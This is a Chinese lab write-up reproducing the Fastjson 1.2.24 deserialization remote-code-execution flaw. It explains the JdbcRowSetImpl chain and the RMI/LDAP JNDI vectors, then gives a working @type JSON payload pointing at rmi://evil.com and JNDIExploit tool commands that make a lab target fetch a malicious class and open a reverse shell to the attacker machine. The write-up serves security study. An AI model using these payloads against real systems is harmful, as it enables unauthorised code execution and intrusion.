漏洞类型

1
fastjson反序列化命令执行

影响版本

1
Fastjson <= 1.2.24

目标IP

1
192.168.121.128

攻击机IP

1
192.168.121.1

工具

1
https://github.com/zzwlpx/JNDIExploit

漏洞复现

基础概念

fastjson在json数据中使用@type属性时,该json数据会被反序列化为指定的对象类型

在反序列化过程中fastjson会调用parse()函数,对对象的属性进行赋值

若对象的javabean存在属性的set方法则调用setXXX(),否则调用getXXX()方法

java的反序列化有两种利用方式:

  • 基于RMI

    1
    2
    3
    4
    5
    RMI (Remote Method Invocation)是一种行为,指的是Java远程方法调用

    适用JDK(Java Development Kit)版本:JDK 6u132 、JDK 7u131 、JDK 8u121之前。

    在JDK8u122时,加入了反序列化白名单机制,关闭了RMI远程加载代码。
  • 基于LDAP

    1
    2
    3
    4
    5
    6
    7
    LDAP (Lightweight Directory Access Protocol),是轻量级目录访问协议

    适用JDK版本:JDK 6u211 、JDK 7u201 、JDK 8u191 、JDK 11.0.1之前

    在JDK 8u191更新中,Oracle对LDAP向量进行了限制,关闭了JNDI远程类加载

    LDAP的利用范围比RMI更大,实战更推荐使用LDAP进行利用

构造payload

先进入镜像查看一下jdk版本信息为JDK 8u102

此时的JDK版本即可以使用RMI,也可以使用LDAP进行利用

存在漏洞的利用链为com.sun.rowset.JdbcRowSetImpl

@type指定利用链,dataSourceName指定恶意的LDAP或RMI地址,autoCommit值为true表示自动连接

构造payload,假设需要执行的json语句如下

1
2
3
4
5
6
7
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}

若执行了上面的json语句,fastjson会先执行setSourceName方法

然后执行setAutoCommit的时候,会自动连接设置的dataSourceName属性

最终获取到TouchFile类,并执行恶意类的构造函数

漏洞利用

目标机器存在一个GET请求可以让用户提交json数据信息

先在攻击机上开启一个RMI或LDAP服务,同时运行一个恶意java类

使用工具JNDIExploit-1.2-SNAPSHOT.jar进行漏洞利用,先使用-u查看可用的参数

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

之后需要反弹shell就只需要如下的参数

1
ldap://null:1389/Basic/ReverseShell/[ip]/[port]

使用工具,在1388端口开启LDAP服务,8081端口是HTTP服务(只需要端口不占用即可)

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.121.1 -l 1388 -p 8081

启用LDAP服务的是192.168.121.1:1388

反弹shell的是192.168.121.1:7777

1
ldap://192.168.121.1:1388/Basic/ReverseShell/192.168.121.1/7777

LDAP服务机子收到了来自目标的请求信息,并编译生成了class类执行反弹shell命令

成功收到反弹shell